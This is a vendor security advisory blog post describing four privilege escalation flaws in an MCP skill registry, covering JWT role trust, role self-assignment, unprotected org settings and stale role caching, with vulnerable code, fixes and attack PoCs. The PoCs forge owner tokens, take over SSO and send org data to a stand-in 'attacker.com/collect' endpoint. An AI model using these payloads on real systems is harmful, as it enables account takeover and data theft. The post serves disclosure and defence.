← Blog

Privilege escalation in MCP skill registry organization and team membership management endpoints (SA-SKL-PRIVESC59)

SA-SKL-PRIVESC59 identifies four privilege escalation vulnerabilities in MCP skill registry organization and team membership management endpoints. The org role is read directly from a JWT orgRole claim rather than a database-backed lookup, meaning a crafted JWT carrying orgRole:'org_owner' grants full org admin access including billing management, member removal, and org-wide skill policy override without any server-side authorization check; the membership assignment endpoint is missing a role boundary check, allowing any org member to call it and assign the org_owner role to themselves without restriction; the org settings endpoint performs no ownership verification, allowing any authenticated user to overwrite global org settings including SSO configuration, IP allowlists, and data export permissions; and the org role cache uses a key of userId alone without incorporating orgPolicyVersionId, causing cache entries to bleed across org policy upgrades so that revoked org_owner roles remain active in the cache until TTL expiry rather than being invalidated immediately on role change.

SA-SKL-PRIVESC59 findings at a glance
CRITICALPRIVESC59-001 — org role read from JWT orgRole claim — craft JWT with orgRole:'org_owner' grants full org admin access, billing management, member removal, and org-wide skill policy override; fix: DB-backed role lookup via userId; JWT carries only sub; orgPolicyVersionId incorporated in cache key; versioned cache invalidated on role change
CRITICALPRIVESC59-002 — POST /api/registry/org/membership/assign missing role boundary check — any org member assigns org_owner role to themselves; fix: ORG_ROLE_ORDER ordinal comparison; prevent self-assignment beyond current role; Zod OrgMembershipAssignSchema excludes org_owner from assignable enum; audit log; cache invalidation
HIGHPRIVESC59-003 — PATCH /api/registry/org/settings missing ownership check — any authenticated user modifies global org settings including SSO config, IP allowlists, and data export permissions; fix: require org_owner role; Zod OrgSettingsUpdateSchema restricts fields to safe subset; audit log with before/after diff; bump orgPolicyVersionId on update
MEDIUMPRIVESC59-004 — org role cache key uses userId without orgPolicyVersionId — cache entries bleed across org policy upgrades; revoked org_owner roles retained until TTL expiry; fix: cache key = orgPolicyVersionId:userId; onOrgPolicyUpgrade() increments orgPolicyVersionId invalidating all userId entries; zero bleed on policy upgrade

PRIVESC59-001 — JWT orgRole claim grants full org admin access without server-side authorization check

The MCP skill registry reads the org role for every authorization decision directly from a claim embedded in the user's JWT rather than performing a live database lookup against the organization membership table. When the registry middleware decodes the JWT at request time it reads token.orgRole and stores it on the request context, which is then used by every downstream authorization guard on org-scoped endpoints. Because the registry never cross-references this claim against the actual role stored in the database, any user who can obtain or forge a JWT with orgRole:'org_owner' in the payload immediately holds full org admin access for the lifetime of the token.

The practical attack surface is wider than a classic JWT forgery scenario. First, if the JWT signing secret has been exposed even partially — through a leaked environment variable, a debug log, or a third-party integration that received the secret — the attacker can mint arbitrary tokens. Second, even without forging, any user whose role was downgraded from org_owner to org_member retains their old token and can continue exercising org_owner privileges until the token expires. Third, the org-wide skill policy override capability means an attacker with a crafted token can silently disable all security policies that gate which MCP skills are allowed to run within the organization, opening the door to follow-on supply-chain attacks through malicious skill installation.

Vulnerable
// PRIVESC59-001 — VULNERABLE
function requireOrgRole(requiredRole) {
  return (req, res, next) => {
    const token = verifyJwt(req.headers.authorization);
    // VULNERABLE: org role read directly from JWT claim — no DB lookup
    req.orgRole = token.orgRole;
    if (!hasRequiredOrgRole(req.orgRole, requiredRole)) {
      return res.status(403).json({ error: 'Insufficient org role' });
    }
    next();
  };
}

router.delete(
  '/api/registry/org/members/:memberId',
  requireOrgRole('org_owner'), // passes if JWT carries orgRole:'org_owner'
  async (req, res) => {
    await orgMembershipService.removeMember(req.params.memberId);
    res.json({ removed: true });
  }
);

Attack PoC — PRIVESC59-001: Attacker obtains any valid JWT (e.g. their own org_member token), modifies the orgRole payload field to 'org_owner', and re-signs using an exposed signing secret. The crafted token bypasses all org authorization guards: billing management, member removal, skill policy override, and SSO configuration are all accessible.

// PRIVESC59-001 — ATTACK PoC
import jwt from 'jsonwebtoken';

// Step 1: decode attacker's legitimate org_member token
const legitToken = 'eyJ...'; // attacker's own valid token
const decoded = jwt.decode(legitToken);

// Step 2: forge elevated token using leaked signing secret
const forgedToken = jwt.sign(
  { ...decoded, orgRole: 'org_owner' },
  process.env.JWT_SECRET, // exposed signing secret
  { expiresIn: '8h' }
);

// Step 3: exercise full org admin capabilities
await fetch('https://registry.example.com/api/registry/org/members/victim-user-id', {
  method: 'DELETE',
  headers: { Authorization: `Bearer ${forgedToken}` },
});

// Step 4: disable all org skill security policies
await fetch('https://registry.example.com/api/registry/org/settings', {
  method: 'PATCH',
  headers: {
    Authorization: `Bearer ${forgedToken}`,
    'Content-Type': 'application/json',
  },
  body: JSON.stringify({ skillPolicyEnforcement: 'disabled' }),
});
Fixed
// PRIVESC59-001 — FIXED
function requireOrgRole(requiredRole) {
  return async (req, res, next) => {
    const token = verifyJwt(req.headers.authorization);
    // FIXED: JWT carries only sub; org role fetched from DB with versioned cache
    const userId = token.sub;
    const cacheKey = `orgRole:${req.orgId}:${await getOrgPolicyVersionId(req.orgId)}:${userId}`;
    let orgRole = await roleCache.get(cacheKey);
    if (!orgRole) {
      const membership = await db.orgMembership.findUnique({
        where: { orgId: req.orgId, userId },
        select: { role: true },
      });
      if (!membership) return res.status(403).json({ error: 'Not an org member' });
      orgRole = membership.role;
      await roleCache.set(cacheKey, orgRole, { ttl: 300 });
    }
    req.orgRole = orgRole;
    if (!hasRequiredOrgRole(orgRole, requiredRole)) {
      return res.status(403).json({ error: 'Insufficient org role' });
    }
    next();
  };
}

PRIVESC59-002 — Missing role boundary check on membership assign endpoint allows any org member to self-assign org_owner

The POST /api/registry/org/membership/assign endpoint allows org administrators to assign roles to organization members. The endpoint correctly validates that the caller is an authenticated member of the organization and that the target user is also an existing org member, but it does not verify that the role being assigned is within the authority of the calling user's current role. Because the role boundary check is absent, any org member — regardless of their own role — can call this endpoint with their own userId as the target and org_owner as the requested role, instantly escalating their own privileges to the highest available permission level within the organization.

The absence of a self-assignment guard compounds the issue: not only can any member assign any role to any other member, they can assign the highest role directly to themselves in a single unauthenticated API call. Once an attacker achieves org_owner they can lock out legitimate owners by removing them from the organization, disable multi-factor authentication requirements org-wide, reconfigure SSO to route authentication through an attacker-controlled identity provider, and modify the skill allowlist to permit installation of malicious MCP skills across all org members' environments. The lack of an audit log on this endpoint means the initial escalation leaves no trace in the organization's activity history.

Vulnerable
// PRIVESC59-002 — VULNERABLE
router.post(
  '/api/registry/org/membership/assign',
  requireSession,
  requireOrgMember, // only checks caller is an org member; does NOT check caller's role
  async (req, res) => {
    const { targetUserId, role } = req.body; // VULNERABLE: no Zod validation; org_owner assignable
    // VULNERABLE: no check that caller's role >= assigned role
    // VULNERABLE: no self-assignment guard
    await db.orgMembership.update({
      where: { orgId: req.orgId, userId: targetUserId },
      data: { role },
    });
    res.json({ assigned: true, userId: targetUserId, role });
  }
);

Attack PoC — PRIVESC59-002: Any authenticated org member can self-assign org_owner in a single API call. No prior privileges required beyond basic org membership. After escalation the attacker can remove legitimate owners, disable MFA, reconfigure SSO to an attacker-controlled IdP, and install malicious MCP skills org-wide.

// PRIVESC59-002 — ATTACK PoC
// Step 1: self-assign org_owner from a basic org_member account
const escalate = await fetch(
  'https://registry.example.com/api/registry/org/membership/assign',
  {
    method: 'POST',
    headers: {
      Authorization: `Bearer ${attackerOrgMemberToken}`,
      'Content-Type': 'application/json',
    },
    body: JSON.stringify({
      targetUserId: attackerUserId, // self-assignment
      role: 'org_owner',            // highest available role
    }),
  }
);
// { "assigned": true, "userId": "attacker-id", "role": "org_owner" }

// Step 2: remove legitimate owner to prevent recovery
await fetch(
  `https://registry.example.com/api/registry/org/members/${legitimateOwnerId}`,
  { method: 'DELETE', headers: { Authorization: `Bearer ${attackerToken}` } }
);

// Step 3: install malicious skill org-wide
await fetch('https://registry.example.com/api/registry/org/skills/install', {
  method: 'POST',
  headers: {
    Authorization: `Bearer ${attackerToken}`,
    'Content-Type': 'application/json',
  },
  body: JSON.stringify({ skillId: 'malicious-data-exfil-skill', installForAllMembers: true }),
});
Fixed
// PRIVESC59-002 — FIXED
import { z } from 'zod';

const ORG_ROLE_ORDER = { org_viewer: 0, org_member: 1, org_admin: 2, org_owner: 3 };

// FIXED: org_owner excluded from assignable enum — only DB migration can set org_owner
const OrgMembershipAssignSchema = z.object({
  targetUserId: z.string().uuid(),
  role: z.enum(['org_viewer', 'org_member', 'org_admin']), // org_owner not assignable via API
});

router.post(
  '/api/registry/org/membership/assign',
  requireSession,
  requireOrgRole('org_admin'), // must be at least org_admin to assign roles
  async (req, res) => {
    const { targetUserId, role } = OrgMembershipAssignSchema.parse(req.body);

    // FIXED: prevent self-assignment
    if (targetUserId === req.session.userId) {
      return res.status(403).json({ error: 'Self-assignment of roles is not permitted' });
    }

    // FIXED: role boundary — caller cannot assign role >= their own
    if (ORG_ROLE_ORDER[role] >= ORG_ROLE_ORDER[req.orgRole]) {
      return res.status(403).json({ error: 'Cannot assign a role equal to or higher than your own' });
    }

    await db.orgMembership.update({
      where: { orgId: req.orgId, userId: targetUserId },
      data: { role },
    });

    // FIXED: audit log and cache invalidation
    await auditLog.write({
      action: 'org.membership.role_assigned',
      actorId: req.session.userId,
      targetUserId,
      orgId: req.orgId,
      newRole: role,
      timestamp: new Date(),
    });
    await invalidateOrgRoleCache(req.orgId, targetUserId);

    res.json({ assigned: true, userId: targetUserId, role });
  }
);

PRIVESC59-003 — Missing ownership check on org settings endpoint exposes SSO config and IP allowlists to any authenticated user

The PATCH /api/registry/org/settings endpoint modifies global organization-level settings that control the security posture of the entire registry organization. The settings available through this endpoint include the SSO provider configuration (which determines which identity provider authenticates all org members), the IP allowlist that restricts which networks can access the registry, the data export permissions that govern whether org members can export skill audit reports to external systems, and the skill policy enforcement flag that enables or disables the organization's allowlist of permitted MCP skills. These settings collectively define the trust boundary for the entire organization's use of the MCP skill registry.

The endpoint validates that the caller has a valid session but performs no ownership or role check before accepting and applying the settings update. Any authenticated user — including newly created accounts with org_viewer role — can send a PATCH request and overwrite any of these settings. An attacker who registers a free account and joins the target organization with the minimum access tier can immediately reconfigure the organization's SSO provider to redirect authentication to an attacker-controlled IdP, remove the IP allowlist to expose the registry to public access, and disable skill policy enforcement to allow installation of arbitrary MCP skills. No org admin action is required at any point in this attack chain.

Vulnerable
// PRIVESC59-003 — VULNERABLE
router.patch(
  '/api/registry/org/settings',
  requireSession, // VULNERABLE: only checks valid session; no role or ownership check
  async (req, res) => {
    // VULNERABLE: no Zod schema; all fields accepted including SSO, IP allowlists, policy flags
    const updates = req.body;
    await db.orgSettings.update({
      where: { orgId: req.orgId },
      data: updates,
    });
    res.json({ updated: true, settings: updates });
  }
);

Attack PoC — PRIVESC59-003: Any authenticated org member with the minimum org_viewer role can overwrite global org settings. The attacker reconfigures SSO to their own IdP, removes the IP allowlist, and disables skill policy enforcement — all without any admin approval and with no audit trail.

// PRIVESC59-003 — ATTACK PoC
// Any authenticated org member can overwrite sensitive global settings
const pwn = await fetch(
  'https://registry.example.com/api/registry/org/settings',
  {
    method: 'PATCH',
    headers: {
      Authorization: `Bearer ${attackerOrgViewerToken}`, // minimum access level
      'Content-Type': 'application/json',
    },
    body: JSON.stringify({
      // Redirect all org SSO logins to attacker-controlled IdP
      ssoProvider: {
        type: 'saml',
        metadataUrl: 'https://attacker-idp.example.com/saml/metadata',
      },
      // Remove IP restrictions to expose registry to public
      ipAllowlist: [],
      // Disable skill security policies to allow any MCP skill installation
      skillPolicyEnforcement: 'disabled',
      // Allow data export to external systems for exfiltration
      dataExportPermissions: { allowExternalExport: true, externalEndpoint: 'https://attacker.com/collect' },
    }),
  }
);
// { "updated": true, "settings": { ... all changes applied ... } }
Fixed
// PRIVESC59-003 — FIXED
import { z } from 'zod';

// FIXED: schema restricts to safe subset; excludes SSO, IP allowlist, policy enforcement flags
const OrgSettingsUpdateSchema = z.object({
  displayName: z.string().min(1).max(120).optional(),
  defaultSkillVisibility: z.enum(['public', 'org_only', 'private']).optional(),
  auditLogRetentionDays: z.number().int().min(30).max(730).optional(),
}).strict(); // .strict() rejects any keys not in schema

router.patch(
  '/api/registry/org/settings',
  requireSession,
  requireOrgRole('org_owner'), // FIXED: only org_owner may modify global org settings
  async (req, res) => {
    const updates = OrgSettingsUpdateSchema.parse(req.body);

    const before = await db.orgSettings.findUnique({ where: { orgId: req.orgId } });
    await db.orgSettings.update({
      where: { orgId: req.orgId },
      data: updates,
    });
    const after = await db.orgSettings.findUnique({ where: { orgId: req.orgId } });

    // FIXED: audit log with before/after diff
    await auditLog.write({
      action: 'org.settings.updated',
      actorId: req.session.userId,
      orgId: req.orgId,
      diff: { before, after },
      timestamp: new Date(),
    });

    // FIXED: bump orgPolicyVersionId to invalidate all role caches on settings change
    await bumpOrgPolicyVersionId(req.orgId);

    res.json({ updated: true });
  }
);

PRIVESC59-004 — Org role cache key missing orgPolicyVersionId retains revoked org_owner roles until TTL expiry

The org role authorization middleware caches role lookups in Redis using a cache key of orgRole:{orgId}:{userId}. When an organization administrator revokes a user's org_owner role — for example after detecting unauthorized activity, following an employee offboarding, or as part of a security incident response — the database record is updated immediately but the cached role entry at the old key remains in Redis until its TTL expires. Because the cache TTL is set to 300 seconds, a revoked org owner retains full administrative capabilities for up to five minutes after the revocation is recorded in the database.

Five minutes of continued org_owner access after revocation is an exploitable window in a security-sensitive context. During that window the revoked user can remove other org admins to prevent re-revocation, install malicious MCP skills across the organization, export all skill audit data to an external endpoint, and modify the SSO configuration to retain a persistent authentication backdoor. The cache bleed is especially dangerous when the revocation is itself triggered by a suspected compromise: the incident response action of revoking the compromised account does not take effect immediately, leaving the attacker's existing session still authorized as org owner for the duration of the TTL.

Vulnerable
// PRIVESC59-004 — VULNERABLE
async function getOrgRole(orgId, userId) {
  // VULNERABLE: cache key does not include orgPolicyVersionId
  // revoked roles remain cached for up to TTL seconds after DB update
  const cacheKey = `orgRole:${orgId}:${userId}`;
  const cached = await redis.get(cacheKey);
  if (cached) return cached; // returns stale org_owner after revocation until TTL expires

  const membership = await db.orgMembership.findUnique({
    where: { orgId, userId },
    select: { role: true },
  });
  const role = membership?.role ?? null;
  if (role) await redis.set(cacheKey, role, { EX: 300 }); // 300s TTL
  return role;
}

// When admin revokes org_owner role:
async function revokeOrgOwner(orgId, userId) {
  await db.orgMembership.update({
    where: { orgId, userId },
    data: { role: 'org_member' },
  });
  // VULNERABLE: cache NOT invalidated — revoked user retains org_owner for up to 300s
}

Attack PoC — PRIVESC59-004: Admin revokes attacker's org_owner role at T=0. Attacker continues making org_owner-gated API calls until T=300s due to stale cache. During this window the attacker removes other admins, installs malicious skills, exports audit data, and backdoors the SSO configuration before the cache entry expires.

// PRIVESC59-004 — ATTACK PoC (exploitation window demonstration)
// T=0: admin revokes attacker's org_owner role in DB
// T=0 to T=299: attacker's cached role is still org_owner

// Attacker executes all destructive actions within the cache TTL window
const actionsBeforeExpiry = [
  // Remove other admins to prevent re-revocation
  fetch('https://registry.example.com/api/registry/org/members/admin-1', {
    method: 'DELETE', headers: { Authorization: `Bearer ${attackerToken}` },
  }),
  fetch('https://registry.example.com/api/registry/org/members/admin-2', {
    method: 'DELETE', headers: { Authorization: `Bearer ${attackerToken}` },
  }),
  // Install persistent backdoor skill
  fetch('https://registry.example.com/api/registry/org/skills/install', {
    method: 'POST',
    headers: { Authorization: `Bearer ${attackerToken}`, 'Content-Type': 'application/json' },
    body: JSON.stringify({ skillId: 'exfil-backdoor-skill', installForAllMembers: true }),
  }),
  // Export all org audit data
  fetch('https://registry.example.com/api/registry/org/audit/export', {
    method: 'POST',
    headers: { Authorization: `Bearer ${attackerToken}`, 'Content-Type': 'application/json' },
    body: JSON.stringify({ destination: 'https://attacker.com/collect', includeAll: true }),
  }),
];
await Promise.all(actionsBeforeExpiry); // all succeed within TTL window
Fixed
// PRIVESC59-004 — FIXED
async function getOrgPolicyVersionId(orgId) {
  // orgPolicyVersionId is incremented on every role change, settings update, or policy modification
  const org = await db.org.findUnique({ where: { id: orgId }, select: { policyVersionId: true } });
  return org.policyVersionId;
}

async function getOrgRole(orgId, userId) {
  // FIXED: cache key incorporates orgPolicyVersionId
  // any org policy change (role revocation, settings update) bumps policyVersionId,
  // making all previous cache keys stale instantly — no bleed on policy upgrade
  const policyVersionId = await getOrgPolicyVersionId(orgId);
  const cacheKey = `orgRole:${orgId}:${policyVersionId}:${userId}`;

  const cached = await redis.get(cacheKey);
  if (cached) return cached;

  const membership = await db.orgMembership.findUnique({
    where: { orgId, userId },
    select: { role: true },
  });
  const role = membership?.role ?? null;
  if (role) await redis.set(cacheKey, role, { EX: 300 });
  return role;
}

async function onOrgPolicyUpgrade(orgId) {
  // FIXED: incrementing policyVersionId invalidates ALL userId cache entries atomically
  // called on: role change, settings update, member removal, SSO reconfiguration
  await db.org.update({
    where: { id: orgId },
    data: { policyVersionId: { increment: 1 } },
  });
  // old cache keys (orgRole:{orgId}:{oldVersionId}:*) are now unreachable and expire naturally
}

// When admin revokes org_owner role:
async function revokeOrgOwner(orgId, userId) {
  await db.orgMembership.update({
    where: { orgId, userId },
    data: { role: 'org_member' },
  });
  // FIXED: bump policyVersionId — all cached roles for this org are immediately stale
  await onOrgPolicyUpgrade(orgId);
  // revoked user's next request hits DB and receives updated org_member role instantly
}

SkillAudit tip: Run a free audit on your MCP skill at skillaudit.dev to detect JWT claim trust issues, missing role boundary checks, unprotected settings endpoints, and stale authorization cache patterns in under 60 seconds. See SA-SKL-CORS73-BLOG for related MCP skill registry security research.